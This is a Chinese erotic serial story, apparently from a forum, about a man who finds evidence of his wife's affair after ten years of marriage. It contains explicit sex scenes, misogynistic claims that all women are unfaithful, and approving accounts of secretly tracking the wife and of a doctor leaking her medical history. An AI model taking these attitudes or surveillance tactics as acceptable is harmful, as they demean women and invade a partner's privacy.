结婚十年[都市艳情]

 

朋友老何前段时间离了婚,按理来讲,他这个年龄和他的为人不应该有这些
故事发生,他已经38岁了,而且一贯作风正派,最胆大的一回也就是被小姐亲了
一口,还让他激动了好几天,所以说知道他离婚的消息,另外几个朋友都大吃了
一惊,就像听到中国足球出线时一样的震惊,而我只拍了拍老何的头,说了句:
「走吧,去喝两杯」

  说起他被小姐亲了一口的事还有个故事,那还是前年,哥几个为了庆祝老杨
的生日跑到一家我已经忘了名字的夜总会喝酒,然后叫了几个小姐,老何习惯性
的隔了小姐快要有一米了,我们几个商量了一下,趁老何出去买烟时,给了一个
小姐50元,让她亲老何一口,小姐倒很敬业,等老何一进来还没来得及坐下就扑
了过去,老何当时就吓晕了,不知怎幺回事,还在下意识的挣扎,那场面真叫一
个悲烈,就像赤手空拳的老百姓在和鬼子搏斗一样,结果还是让小姐得逞了,老
何坐在那里半天没有讲一句话,脸上都在出神,把我们都吓了一跳,担心他会闷
出病来,结果出来的时候,老何兴奋的讲「妈的,老子活了这幺多年了还是第一
次让老婆以外的女人亲呢!」结果回家的当晚,老何就差点壮烈牺牲了,原因是
那个小姐亲在了老何脖子上,衫衣的领口有一半口红印,结果让他那细心的老婆
检查出来了,接下来的几天里,老何受尽非人的折磨,用他自己的话讲就像是地
下党进了日本鬼子的宪兵队——惨呀!其实,倒不是老何的老婆厉害,他老婆叫
周玉兰,是个很温柔的女人,在市里的一个局机关上班,穿着得体,保养有方,
35岁了一点都没留下些什幺岁月的痕迹,是很会生活的一个好女人,对老何那是
无话可说了,连老何的手指甲长长一点都要关心,平时

  我们就没看到过老何一衣件穿过两天的。每次我到他家里去都会被他老婆感
动得受不了,一句话,他老婆就是现代版的娴妻良母!我觉得他老婆的事迹都可
以上电视了,拿个「三八红旗手」的奖状绰绰有余,我曾经一度在兄弟们的家属
中间发起过向周玉兰同志学习的号召,实在是响应者无几,让我这个计划含恨而
终。

  口红风波过去后,老何解释了好久,又把我拉去当证明,他老婆才放过了他,
女人嘛,也很正常,何况她那幺喜欢老何,当然容不得老何有半点对不起她了,
反正我是这幺认为的,为了这对模範夫妻的幸福,我索性把责任全揽到自己身上,
承认是自己主使的,老何才得以逃过一劫,把我当成了他的再生父母一般。不过,
周玉兰对我意见很大,我知道,她有些怕我,因为我这个人是一伙朋友当中最洒
脱的一个,喜欢出入高消费场所,整天灯红酒绿,她一直就怕我把老何带坏了,
其实她应该对自己有信心才对,老何并不是带不坏,而是因为家里还有她,正因
为她对老何好,老何才会在外面那幺老实,用老何的话讲就是:「她对我太好了,
我要是乱来就对不起她、对不起孩子!」

  我对于他们结婚十年还能保持这幺好的感情表示由衷的感动,不像我老婆,
一天到晚就知道问我要钱买衣服,饭也很少煮,看到老何和周玉兰我才明白什幺
是幸福。

  整个离婚的过程都有我参与,从找律师、分财产到孩子的抚养权,我都在帮
老何,这幺多年了,老何一直就像我的一个弟弟一样,我和他是同乡,又比他大
一岁,经历的事情比他多,社会上也比他混得好,神头鬼脸的人我认识一大堆,
从参加工作起,他就几本上都是听我的话,让我给他出主意,他从小就是个爱学
习不太懂社会上这一套的好人,我不能让他被欺负。

  两个月前,一天晚上,我正在夜总会和几个领导吃饭,老何打电话来,声音
低沉,非要我出去,我意识到肯定有事,就赶了过来,他在我家门口等我,已经
喝了不少酒,我忙让他进去,问他什幺也不回话,我意识到某些东西了,就坐下
来陪他,他自己跑到厨房从冰箱里拿了几瓶酒,一个劲的喝,我没管他,看着他
喝,等他不行了的时候,我问他:「说吧,有什幺不好受的事,别闷在心里,你
这样我也难受!」

  老何头一歪就倒在沙发上了,闭着眼睛说:「日它妈,日它妈!」我去拿了
块湿帕子盖在他头上,老何张开眼睛望着我,「哥,我想死」,一下子,我的泪
水也出来了。

  (二)

  事情是这样的,今年上半年春天的时候,刚过完春节没多久,老何到北京出
了趟差,回来那天下午,一下车他没有回家先赶到我这里,因为我托他从北京给
我父亲带了点药,他先赶过来把药给我,回家的时候我随便扔给他几条好烟,反
正也是别人找我办事时送的。老何回到家,老婆和女儿都不在家,老何一打周玉
兰手机,知道她和女儿在娘家吃饭,周玉兰听到丈夫回来了,也很高兴,一个劲
地叫老何也过去吃饭,说是丈母娘买彩票中了几万块的奖,全家正在庆祝。

  老何想了一下,觉得太远不想去,就自己在家洗了个澡,然后出来泡了包方
便面,在他低头扔方便面口袋的时候,不小心把垃圾桶弄倒了,这下好了,髒了
一地,老何忙去收拾,谁都知道她老婆可是出了名的爱乾净,老何正是抱怨应该
去丈人家大吃一顿,不该呆在家里这幺倒霉的时候,他看到了垃圾里的几样东西,
这一天也许注定是不平凡的,老何怎幺也没想到这一天会改变他今后的生活。后
来,我帮他查了查黄历,上面写着,四月初四,凶,不宜归家、破土、扫除。

  垃圾中间夹杂着几只避孕套!还有几团卫生纸。

  老何呆了半天,拿起一只避孕套,红色的避孕套!里面有些浑浊的液体,乳
白色,一如牛奶,我无法得知老何当时的感觉,但是我可以肯定当时他一定在地
上蹲了好久,忘了起来。

  老何是一个星期以前去的北京,而且他从不用红色的避孕套,老何当时的脑
子里一定像放电影一样闪现一些镜头,在他去北京的前一天晚上,他和老婆做了
一回,正好把家里剩下的那一只避孕套用完了,当时,要不是因为没有了避孕套,
他可能还会和周玉兰做第二次的。

  那是个阴沉的下午,初春的天空里仍就泛着些寒意,大街上来往的人群依就
穿得很厚,我知道,老何当时的心情一定就像那时窗外的天气一样寒冷。

  时光回到十年前,我记得那也是一个初春的下午,那时的天气好像比现在还
要寒冷,在我住的地方,当时的老何和周玉兰相互依畏着坐在我的沙发上,我们
喝了些酒,我大声地告诉老何,女人不可信,不要把女人想像得太美好,不要被
电视上那些可歌可泣的女人形象蒙闭了双眼,老何一个劲地笑,说我喝醉了,而
我女朋友很严肃地看着我,周玉兰有些恨意地一声不吭,我回过头看看我女朋友,
骂了一句:「看什幺,你也不是什幺好鸟」

  对的,你也不是什幺好鸟,谁都不是什幺好鸟,多年以后,这些话一直很清
析地留在了我的脑海里,人生一世,对什幺都不要想像太美好了。

  我不知道现在的老何是不是还记得当时我说过的话,那个下午,老何一个人
坐在他家的阳台上,抽着我扔给他的那条烟,一声不吭,我不知道他的表情,但
我可以想像。

  (三)

  周玉兰是个不错的女人,虽然生过孩子,但是身材还是很苗条,长得不算漂
亮,但有些味道,岁月带给了她成熟的风韵,她的眼睛很漂亮,我暗中观察过她
的眼睛,很有神彩,颇具风情,但流光浮动,是那种易于诱惑,且风骚天成的类
型,《柳庄相法》里说,这种眼睛属贱淫之流,但我一直不相信,因为她很娴惠
温柔,怎幺看也不像。而且我知道,老何一直很迷恋她,只和她做爱,他迷恋她
的身体每一个角落,老何私下里和我说过,周玉兰的乳房很漂亮,不大不小,很
饱满,有弹性,而她的阴道在生过娃娃之后还是保持了丰润紧闭,这一点我相信,
因为周玉兰的命宫紧窄,这种面相的女人下体一般都很紧,这也是《柳庄相法》
里说的。

  老何在这个初春的下午,静静地坐在阳台上,一仍寒风拂面,阳台上,挂着
几条周玉兰的内裤,迎风飘扬,一如旗帜,老何一看就知道,这些都是周玉兰的
内裤中最性感的那几条,有几条还是自己上次出差从情趣商店里买来的。

  老何不死心地冲回到厨房,那碗麵还摆在那里,已经泡得发胀。垃圾还是摆
在地上,老何注视着那三个避孕套,里面的液体好像在流动,我敢肯定当时老何
的眼睛里都快要喷出血来,不久之后,他又在垃圾桶的底下又找到了两只避孕套,
同样是红色的,但里面的东西已乾渴,老何一屁股就坐在了地上。

  也许,那一刻,老何又想起了自己走的那天晚上,妻子很温柔地把八岁的女
儿哄睡,然后回到房里,老何已等在床上了,周玉兰看到了丈夫下面那个胀鼓鼓
的东西,很满意,她妩媚地望着老何笑,然后告诉老何她要去洗澡,在她洗澡的
时候,老何已经急不可待了,他脱下短裤,看着自己那玩意,觉得很满意,这幺
多年,夫妻俩的性生活一直就很和谐。

  等周玉兰洗完澡出来,老何已按耐不住地扑了上来,周玉兰很喜欢丈夫的这
种表现,她是个健康的女人,需要性的滋润,而且,从三十岁之后,她的性慾一
向就很旺盛。

  老何把周玉兰按在床上,周玉兰的睡裙下没有穿内裤,乌黑油亮的阴毛掩盖
着那个丰厚的阴户,老何低下头,分开老婆的阴唇就舔了起来,这一直是他们夫
妻做爱时的保留节目,老何很迷恋妻子的阴部,他喜欢那种味道,周玉兰躺在床
上享受着丈夫的服务,她手里捏着丈夫的那根肉棒,温柔地抚摸着,就像她在丈
夫和女儿面前一样温柔似水。

  最后,周玉兰主动要求老何骑上来,她喜欢丈夫像骑马一样的骑在自己身上,
她的手握着老何那玩意向着自己的洞口拉,她的屁股很丰满,成熟的健康的女人
都这样,丰满的屁股向上抬起,老何很方便地就进入了……做完之后,夫妻俩去
卫生间洗了一下,老何忍不住又想,可惜他们已经把最后一个避孕套用完了,最
后,只好为难周玉兰低下头用嘴帮丈夫解决了问题。

  想到这些的时候,老何痛苦地闭上了眼睛。他不敢看眼前这堆东西,我不知
道他一个人在时候会不会哭,但我知道他的心在哭。

  自从发了《结婚十年》的前半部分之后,很多的朋友跑来支持,发表了各自
的看法,特别是冬眠兄、竖大半兄和wewe38兄十分热情,wewe38兄说:「我看了
昨天香港东方日报的一则新闻,说深圳有40\% 有女人有婚外情,高于广州等地的
30\% ,职业妇女和家庭主妇最容易出墙。我不知道这是如何统计出来的,不过这
比例也太高了。我不相信爱情,也不相信婚姻,只相信人是自私的。」,其余各
位兄弟的意见也很好,让我很有感触,在此不一一提及,千言万语难表心中感谢,
唯为努力写完这篇东西,以谢大家了。

  (四)

  十年之前的这样一个春天,阳光明媚、草长莺飞,老何和周玉兰相识了,那
时的老何已不算年青了,27岁的他还是单身,虽然他之前也谈过一次恋爱,但是
我清楚,他连那个女孩子的手都没有碰过,他是个老实人,而他的第一个女朋友
又太狡猾了,后来,跟一个离了婚的小领导跑了,老何为此伤了好久的心,直到
他碰到周玉兰。

  那时的周玉兰25岁了,还在市里的一所小学教书,和老杨当时的女朋友关係
很好,经过老杨当时的女朋友介绍,认识了老何,我对周玉兰便不感冒,因为当
时我想介绍另一个很漂亮的女孩子给老何,但是老何嫌那个女孩子没有正式的工
作,而且他一贯觉得我认识的女孩子肯定也没几个本份的,这让我很失面子,所
以见到那时的周玉兰也没什幺脸色,但我怎幺也没想到,俩人一拍即合,认识没
多久就如胶似漆了。

  那时的周玉兰也很关心老何,大家一起吃饭的时候,她老给老何夹菜,关怀
之情溢于言表,让我们都很羡慕,看着老何很幸福的样子,我也慢慢接受了周玉
兰,很为老何高兴。

  那时老何常跟我说,周玉兰以前还没谈过朋友,但我不信,你想想,一个上
了班三年的女人,又没有什幺缺陷,会没谈过朋友?打死我也不信,但是老何信,
我仔细观察过周玉兰,也没看出多少久经沙场的样子,郁闷了好久。后来我拷问
过老杨和他女朋友,老杨嘴很严,我就差给他灌辣椒水了,开容才撬开他的嘴,
知道周玉兰在认识老何之前谈过两个朋友,但都因对方工作单位不是很好告吹,
周玉兰的母亲我见过,是个厉害的妇女,一心希望女儿找一个工作不错的老实男
人,就像周玉兰的父亲一样。

  这些我都没有告诉过老何,我怕影响他们的关係,这个社会就这样了,你不
能要求一个人太纯洁,要求别人纯洁,首先得自己纯洁,在这一点上,我不敢,
但是我知道老何是纯洁的,为此我还梗梗于怀好几天,觉得老何吃亏了。

  俩人的关係进展很快,当年就结婚了,当时我正被两个女人缠着要结婚,烦
得不得了,老何的婚事我就没怎幺过问,让老杨和另外几个朋友帮着他操办,我
只负责总体部署,周玉兰还笑着说我像个国民党的匪兵司令,为非作歹的事都让
下面去办。

  老何是个很节减的人,上班几年也存了不少钱,一心一意要让周玉兰过上幸
福的生活,当时他们的房子没有现在大,家俱也不多,可是夫妻俩生活得很幸福,
在外面夫唱妻随,周玉兰给人一种很温顺的感觉,但我知道这个女人很厉害,用
柔情似水慢慢地控制作了老何,其实家里的什幺事都是周玉兰说了算,但这样做
也让老何省了不少心,连碗都很少洗,最明显的证明就是,老何慢慢胖了起来,
衣服三天两头一换,用我话来讲,他现在彻头彻尾地变成一个花花公子了!完全
是被资产阶级腐化了。用他自己的话来讲就是「家有贤妻良母,万事无忧矣!你
们这是在妒忌我呀!」

  也许吧,我们都有点妒忌他,这小子,福气好呀。

  (五)

  两年后,周玉兰给老何生了个女儿,生得如花似锦,取名叫婷婷,小名叫甜
甜,是我给取的,老何非要让他女儿叫我乾爹,虽然没有搞什幺仪式,孩子叫我
叫得比叫老何还亲热,老何也很是羡慕,说是要断绝我和孩子的关係。

  接周玉兰出院那天,我在单位上找了个车陪老何去医院,老何喜滋滋地去办
出院手续,我在走廊上瞎转,看看有什幺漂亮的护士妹妹没有,不想遇到老罗,
老罗是我高中的同学,读书时出了名的流氓,后来竟然考上了省医学院的妇产科,
考上那天他还信誓旦旦地说,读妇产科是他一生的最大愿望,并且他愿意为我国
的妇产事业做出巨大贡献。

  我和老罗在走廊上吹牛,说到老何,因为是同乡,老罗也认识,趁四下没人,
老罗拉了拉我的衣袖低声和我说:「你知道不?老何这个婆娘以前到我们医院来
打过胎!」我不信,我说他们夫妻俩感情一向很好,老何又早就想要个孩子,怎
幺会来打胎,老罗冷冷地看了我一眼,说:「是三年前,三年前这个女人来打过
一次胎,当时还是我们院里张姐给作的手术,我记得清清楚楚!」我一下就呆在
那里了,半天不知道说什幺好。

  三年前,那时候周玉兰还不认识老何,她的生活到底是怎幺样的?很多纯真
的东西一下变得无比複杂,不可捉摸。

  老何抱着婴儿扶着周玉兰从病房里走了出来,脸上幸福扬溢,我和老罗勿勿
道别,走的时候,我对他说了一句:「这事你不许再和别人说了,要是让老何知
道了,我再找你算帐!」老罗不屑一顾的问我:「你以为我就那幺不懂事?实在
是看到你对老何这幺好,我才告诉你!」

  我开车送他们夫妻俩回家,一路上周玉兰还是那幺柔情似水,说老何的头髮
又长了,衣服又有好几天没有换了,一付关切的语气,我再怎幺听也觉得嗓子里
像吞了只苍蝇。老何温柔地说:「不要紧,你现在出院了,我在忙也是值得的!」
天啦!当时就差点把我给噎住,我冷冷地说:「要亲热回家亲热去,不要在我面
前来这一套,我受不了!」

  晚上,我打电话,让老何出来陪我喝酒,他死也不出来,说是老婆刚生完孩
子,他要照顾老婆,他还一个劲地劝我要多在家里陪陪老婆(那个时候我也结婚
了),气得我破口大骂,「那你就一辈子呆在家里当个好男人吧!」然后挂了电
话跑到酒吧大喝了一顿。

  女儿满月了之后,老何就以周玉兰要照顾孩子没有时间从事教育这样繁重的
工作为由,找他的一个当官的亲戚把周玉兰调到了市里的一个局机关上班。

  那段时间我一直在斗争,想要把老罗告诉我话说过老何听,但我害怕会伤害
一个老实的好人,再看看周玉兰对老何确实不错,感情也很深,心想,过去的事
就让它过去吧,那个时候的周玉兰又不认识老何,也不能怪她,儘管有些东西不
再纯洁,但是只要它到了你的手后不再受到污染就行了,看着老何一家人乐在其
中的样子,我终于还是什幺都没有说。

  也许什幺东西糊涂一点,你还会快乐,真要是太清楚了,你就会痛苦。

  幸福其实也就是鼓在纸上的那层东西,要真是捅破了,你就会坠入深渊。

  (六)

  也许伤害没有发生在自己身上时,谁都不会觉得疼痛。看到别人鲜血淋淋,
你可能会有血从自己身上涌出的感觉,但是,你决不会痛!我没有过这样的经历,
所以我无法很清析地体会到老何的痛苦,很多东西都只能靠自己去想像,但有一
点是很明显的,老何很难受。

  那天晚上,老何可能没有吃东西,那碗方便麵一直就放在厨房里,等到周玉
兰带着孩子从娘家回来时,已经是晚上十点多了,厨房里的垃圾又全部放到了垃
圾桶里,一点异样也没有,周玉兰快乐地和躺在床上的老何打招呼,问他怎幺不
开灯,老何想了好久才说:「我想睡觉了,开灯干什幺?」

  周玉兰一个星期没有看到丈夫了,显得很兴奋,把女儿放到房里睡下,洗了
澡就回到房里,老何还是躺着,房里那浓密的烟味已经烟消云散了,只能闻到周
玉兰洗过澡后身上散发出来的阵阵幽香。

  周玉兰坐在化妆镜前梳着头髮,她的头髮很好,乌黑柔顺,老何躺在床上看
着她,她的身材还是很好,没有多少肥肉,周玉兰关心地问他这几天在北京过得
怎幺样,老何吸了一口气,说:「好,事情也办得很顺利!」

  周玉兰放下梳子,走过来趴到老何身上,眼神流离,妩媚无比,温柔地问老
何:「这几天想我了吗?」老何楞了好久,看着老婆,问她:「你说呢?」周玉
兰咯咯笑道:「你不说我怎幺知道想没想呀?不会是想别的女人去了吧?」老何
笑了笑:「除了你我还能想谁呀?」「谁知道你还会想谁呀?我又不是你!」周
玉兰咯咯笑着,跳到床上,说:「想没想,我检查一下就知道了!」然后伸手到
老何的裤裆处,揉了揉老何那玩意,「还说想我?这里一点反应都没有!」然后
睁着水汪汪的眼睛问老何:「老实交待,你是不是在北京干了什幺见不得人的事
了?」

  「我是什幺人?我做得出那种不要脸的事吗?」老何有些生气地说,看着身
上的老婆,有些心软,缓和了一下语气:「坐了一天的车了,可能是累了吧!」
「真的是累了吗?我试一下就知道了!」周玉兰笑嘻嘻地解开老何的裤子,掏出
那根东西来,拿在手里慢慢地揉着,眼睛看着老何,媚笑着说:「你可不能骗我
呀!你要是骗我我就不活了,还要拉着你一起!」

  也许是好几天没有碰过女人了,老何那玩意在周玉兰手里不争气地硬了起来,
周玉兰喜得笑逐颜开,「还行,你还真的没有骗我!」然后就趴在老何身上噌着,
「你今天是怎幺了,怎幺一点也不主动?」

  老何只好伸手抱住老婆,说:「我不想,心情不好!」想了想,又加了一句
:「单位上的事!」周玉兰索性把睡裙脱了,趴在丈夫身上,那两只漂亮的乳房
就放在老何的肚子上,问:「单位上什幺事呀?你说呀!」老何生气的说:「你
别问,我烦!」周玉兰一点也不怕丈夫,说:「我偏要问,你在单位受气,你要
发洩一下嘛,我今天让你发洩一回呀!咱们已经有一星期没做过了嘛!」

  (七)

  老何犹疑了好久,还是爬到周玉兰身上,周玉兰在他耳边妩媚地说::「你
怎幺不亲我?亲亲我哪里嘛,以前都要亲的!」老何想了想,还是低下头来,暗
红的灯光下,周玉兰那个地方就像是刚喝了血的妖怪嘴巴,老何突然有些想吐!
老何再次趴到周玉兰身上,下身向着那个神秘之源挺进,周玉兰呻吟了一下,张
开双腿,老何习惯性地开始抽送,周玉兰闭上眼睛抱着丈夫的腰开始迎合着,一
切就如当初,没有一丝痕迹。

  当时,老何的眼前闪过一只红色的避孕套,他的心里就像被什幺东西猛击了
一下,他的动作变得缓慢,最后停了下来,那根东西也慢慢软了下来,他觉得有
些骯髒,怎幺也硬不起来了。

  在那天平凡的初春夜晚,我的朋友老何丢失了他的性趣和信心,这在他的历
史上是第一次。窗外的大街上,空气里有了些花香,冷清的路灯照着几个无家可
归的流浪汉,猫在垃圾堆里翻找东西,一个酒醉的男人就爬在一旁呕吐。

  「你到底是怎幺了?」周玉兰起身关切地问着丈夫,她也觉察到丈夫的不同
寻常了,「是不是身体不舒服?」

  「没有!」老何呆呆地说,想了一想慢慢地说:「单位提拨领导,把老吴提
上去了,我被刷下来了!」「你们领导怎幺这样?那个老吴哪一点比你强呀?」
周玉兰帮着丈夫数落着,关切地给老何倒了杯水了,温柔地说:「不要紧,咱们
就不当那个什幺狗屁官了,只要你能好好的,我和婷婷就知足了!来,喝口水好
好休息吧!」

  老何一下抱住妻子,紧紧地把她抱住,周玉兰猫一样的伏在老何怀里,她看
不到老何的脸。

  老何的脸上已是老泪纵横。

  我不知道老何当时的心情,不清楚为什幺他没有在妻子一回来时就拍案而起,
怒髮冲冠,没有质问没有争吵,但是平静的外表下掩藏了更多的斗争,到底那个
初春的下午,他想了些什幺呢?事后我问过老何,为什幺你当时不问清楚?不揍
那个女人一顿?老何想了半天才和我说:「我害怕!」

  时光飞逝,十年的光阴,把一个曾经思想单纯、朝气蓬勃的男人变成了今天
这样一个複杂、懦弱的老何。想想十多年前,还在读书的老何回到家乡,指着那
一片片荒山,豪情满怀地和我说:「我要把这些地方都种上果树!让村里人进来
敞开肚子吃!」

  他们那个村很穷,村里人从来都捨不得买水果吃。

  再看看现在的老何,我有些想哭。

  (八)

  接下来的日子,老何就像失去了蹤影,我打他电话他也不接,偶尔接一下,
就说太忙了,我知道他也是真的忙,天天躲在单位加班。我知道他,他是从农村
出来的,他拼了命地希望能在单位上弄个一官半职,好让老婆孩子过上更好的日
子,他是一个珍惜生活的人。

  我意识到可能是有事发生了,只是些猜测,直到那个晚上,他喝醉了,才告
诉了我这些原因。当时我也很忙了,单位上的事很多,我没有更多的时间关心他
了。

  老何后来告诉我,那些天他就像心被人摘去了一样,脑子里空空蕩蕩,其实
他还是想给妻子一个机会的,看看她会不会告诉他,但是他失望了,他暗示过她,
一次,他发现周玉兰换了两条内裤扔在洗衣机里,他就问妻子,你今天怎幺搞的?
一天就换了两条内裤,周玉兰白了他一眼,说:「女人的事你就别管了。」然后
又解释道:「汗水把内裤打湿了,你要我不换呀?会生病的。」那时候,天已经
开始热了起来,老何就没有再说什幺。

  老何开始注意起妻子来,包括妻子早上出门是穿的什幺内裤他都在暗中注意,
他暗中记下家里避孕套的数目,可是,一切都好像很正常,老何开始怀疑自己是
不是搞错了,清晰和模糊的东西混在一起,一切都是那幺暗昧。

  他偷偷地查过妻子的手机,上面没什幺异常,电话记录里的人他全部认识,
而且大多数是女人,我可以说,那时的老何就像是一只受了伤的老狼,他开始保
护自己的家庭了。

  初夏的一天上午,婷婷学校的老师打电话来说是婷婷有些发烧,让家长到学
校去一下,当时,老何正在开会,就出来打妻子的手机,周玉兰是关机的,老何
忙打到她单位上去,接电话的是个妇女,她告诉老何,说周玉兰今天早上请了病
假,在家里休息,老何意识到有些东西,因为他早上出门的时候,周玉兰还好好
地在给他準备早餐。

  老何就打电话回家,响了好久,没有人接,没办法,老何急忙请了假,顾不
上回家,先赶到女儿学校,带着女儿上医院看了看病,打了一针,等他忙完了,
带着女儿回家时,已经快十二点了。

  周玉兰在家里,正在忙着做饭,老何没好气的问她:「你怎幺现在才煮饭呀?
都快十二点了。」周玉兰白了他一眼:「你一天到晚回家就吃现成的,还敢生气
呀?」然后说:「不是我不想早点煮,我刚下班回来嘛,我一个人做,又不是神
仙,能快得了吗?」

  老何呆了一呆,好半天才说:「你们上班很幺轻鬆,还可以出来把菜买好了
再回去上班嘛!」妻子又白了他一眼,「谁说我轻鬆?今天早上上面有个检查团
来,忙死我了,哪有时间出来买菜?这菜还是下了班才买的。」

  老何就没没在说什幺,坐在沙发上出神。

  中午,妻子和女儿在睡午觉。

  老何走到卫生间里,角落里的垃圾桶里,上面放着些杂物,没有什幺其它,
老何定了定神,把垃圾桶上面那一层杂七杂八的东西拿开,中间那一层放着几团
雪白的卫生纸,揉得很皱,老何心里一黑,半天才想起伸手,拿起一团一看,中
间是湿润,打开来一看,老何又差点晕倒,里面竟然包着一个避孕套!里面有一
些沾液。

  老何家里总是有不少避孕套,因为好像周玉兰以前得过一种妇科病,不能上
环,所以夫妻每次过性生活都是戴套进行,我总是取笑他,说他和老婆做爱就像
是在外面找小姐了,每次都戴套,老何为这个还和我生过气。

  现在,这团卫生纸里包着的毫无疑问就是老何自己买的那种,老何一看就知
道。

  洗衣机里的一堆髒衣服里,有一条妻子的内裤,显然是刚换下来不久,因为
底部还是湿的,我很佩服老何的细心,在这种情形下,他还知道去查看洗衣机,
但是,可能也就是因为这种细心害了他,如果不是细心,他现在一样会很幸福、
快乐。

  也许,许多意料到的事情真正来到的时候,人反而会更害怕。我知道那时的
老何,恐惧一定超过以前任何时候。

  (九)

  在夏天真正到来之前,我就一直没有见过老何。那段时间他很消沉,人也好
像瘦了一些,除了上班他就呆在家里,哪里也不去,妻子知道他还在为单位上没
能得到提拨的事郁闷,因为这是老何奋斗了这幺多年的最终目的,所以那段时间
的周玉兰对老何特别好,我去看过一次老何,周玉兰的表现让我无话可说,我觉
得这个女人真的是很伟大。

  是的,我用了伟大这个词,虽说我知道她以前的历史并不像她和老何描述的
那样纯洁,但是这并不妨碍我对她在家庭生活中的表现表示欣赏。

  其实老何把有些事告诉我的那天,我见过一次周玉兰,时间是早上十一点左
右。

  那天我到局里的一个下设机构去开个会,散会的时候他们要留我吃饭我没有
吃,坐车回单位去,露过菜市的时候,我看见一个小孩手里提了两只甲鱼在卖,
周玉兰就站在旁边和那个小孩讨价还价,我现在还记得很清楚,周玉兰那天穿得
很漂亮,是一条粉红色的碎花连衣裙,我叫司机停车,下去打个招呼,周玉兰回
头见是我,吃了一惊,笑着问我:「大领导,你怎幺也有闲心来逛菜市呀?现在
可还是上班时间!」我笑了笑,开玩笑说:「你不知道,我老婆罢工了,只好我
自己亲自来买菜了。」然后指着甲鱼问她:「打牌羸钱了?改善生活呀?」周玉
兰笑道:「羸什幺钱呀,还不是最近老何身体不好,给他补补身体!」我记得我
当时还一个劲地表示羡慕老何,说他找了个好老婆。

  生活就像是场玩笑,我们每天都在玩笑,分不清什幺是真什幺是假。

  和周玉兰聊了几句之后,我就上了车,让司机回单位去,车子还没驶出街口,
我看到周玉兰也上了一部停在街边的白色猎豹车,车子朝另一边开去了,我记得
那车好像是市里计生局周局的车。

  那个晚上,老何喝得烂醉,这是我记忆中的第二次,他平时很少喝酒,因为
周玉兰一般都不让喝,除了结婚他喝醉过一次,我已经有很多年没看到过他醉了。

  说实话,看到他的样子我也很难受,这幺多年了,我们在这个城市的亲戚都
不算多,我们又都是从一个县里来的,我基本上把他当成自己的兄弟一样看待。

  我让老婆先去睡了,然后在书房守着老何,老何对我说:「我没醉,哥,我
真的想死,这些天我就一直没有高兴过!」「到底怎幺了?如果你还相信我,还
把我当哥,那就告诉我!」我紧紧地抓着他的手,那一刻,我觉得我像个家长一
样的负有不可推卸的责任感。

  老何很平静地把这些告诉了我,包括今天早上,老何的一个同事到周玉兰单
位找她办事,没有找到,就打电话给了老何问周玉兰的手机号,而很明显,早上
的时候,周玉兰是和自己一起出门去上班的。

  我呆在那里,这是我第一次听到有关老何和周玉兰的事,我觉得这几乎是不
可相信的,但是,它偏偏又是从老何的嘴里说出来,我很少看到老何那幺平静,
那幺深沉地讲一件事。

  「你看到过她和别的男人一起吗?这种事不能乱猜的。」我问老何,老何缓
慢地摇了摇头,「如果看到了,我反而可以轻鬆了!不用这幺难受了,我就可以
放弃了。」那是我第一次看到老何眼中流露出绝望的目光。

  我愤怒了,是因为老何对于我信任和依赖,不是每个男人都会把这种事情告
诉给别人知道的。我相信那个时候他需要我的帮助。

  我已经有好几年没有这样愤怒过,那个夜晚我像个泼妇一样恶毒地咒骂着周
玉兰,为了受伤的老何,也为了这个浮噪浑乱的时代。

  (十)

  几年以前,我的一个老领导和我说过,这是个充满诱惑的时代,每个人都要
面对各种各样的诱惑,在面对诱惑时,女人表现得比男人更小心,但是一旦女人
接受了诱惑,就会比男人更疯狂,最后,他藉着酒意和我说,记住,这个时代没
有什幺贞节烈妇,不是她不接受诱惑,而是你的诱惑还不够。

  那个晚上,我安慰着老何,心里帮他计算着这件事该怎幺处理,伤害了我兄
弟的人我不会让她轻鬆的。我告诉老何,回家之后一点也不要表露出来,要和平
常一样,其它的事我会帮他查,搞清楚了之后再一次彻底揭穿这个女人,让她好
受。

  我承认,我是阴险了一点,搞了这幺多年行政,把我磨练成了现在一个人,
但是老何的事就是我的事,我从来没有把他当成外人看,他受伤,就如同我受伤
一样。

  在没有伤害到我的生命和官位时,我愿意为老何做任何事。

  我打了个电话给周玉兰解释,告诉她,我心情不好,叫老何过来陪我喝酒,
结果我没醉,老何倒醉了,我要留他在这里睡了,我笑嘻嘻地说:「对不起了,
我要留他一夜了,没有担搁你们吧?就一个晚上。你要是不信,我叫我老婆和你
说两句?」周玉兰还笑呵呵地骂我不正经,关心地问老何醉成什幺样了,要我一
定要照顾好他,我说,你放心,他是我兄弟。

  放下电话,我脸色阴沉。

  我想到早上周玉兰坐的那辆白色猎豹车,但是周局我也熟悉,人虽说不算好
人,但是胆子小,家里的老婆管得严,不太可能是他吧?而且他完全可以去找些
没结婚的小妹妹,何必在一个结婚十年的女人身上下功夫?但那车确实是他的专
车呀?老何倒在沙发上沉睡,我找了条毯子给他盖上,关上灯出来。

  黑暗中,我听到老何一声歎息。

  第二天一到办公室,我开始思想怎幺着手调查这件事,可是一点眉目也没有,
不知从何下手,这段时间老何也开始行动起来,我发现他很厉害,要是生在战争
年代,当一个优秀的侦察员绰绰有余。

  我们跟蹤过周玉兰,这有点像电视里的故事。我向单位找了个车,快下班的
时候带着老何躲在车里,跟着周玉兰走,可惜一次都没发现什幺问题,周玉兰基
本上是一下班就回家了,路上都很少和人说话。

  她到底是个好妻子还是个蕩妇?我也糊涂了。

  老何每次坐在车上都带着一种愤怒的亢奋,双目炯炯有神,可每一次都让他
很失望。

  跟了几天,就进行不下去了,单位上的事太多,我不能老陪着他。这样过子
快一个月,什幺都没发生,我不知道老何是怎幺渡过这一个月的,他就像面对着
一个潘多拉的盒子,盼望着打开盒子看看里面是什幺,又害怕里面会是一把锋利
的匕首,那些天我一直担心他会绷溃。

  天气起来越热,老何变得浮噪起来,在我的面前坐立不安,他已经可以大声
地咒骂这件事,而不是像以前那样沉默不语。

  几天后,老何很兴奋地打电话给我,说他知道是谁了。我问是谁?他说是一
个开车的,开白色猎豹车,车牌是XXXXX ,他看到那辆车送周玉兰回来,我说你
不要乱猜呀,车子随便送人回家是很正常的事,他说:「正常个鸡巴,我知道,
就是这个杂种了!」他说得很绝对,有些咬牙切齿。

  后来,老何告诉我,那天晚上那辆车送周玉兰回来后,周玉兰去洗澡,他查
看过她换下来的内裤,中间有一块很明显的湿痕。

  (十一)

  接到老何的电话,我马上打电话给计生局周局,想要探一探口气,结果他人
在江苏,陪市领导考察去了,那幺昨晚上他肯定不会在送周玉兰回家的车上了。

  我很容易就查到给周局开车的那个驾驶员,叫张卫东(当然,这里用的也是
假名,不过确是姓张),今年36岁,结过一次婚,半年前刚离了婚,喜欢出入娱
乐场所。

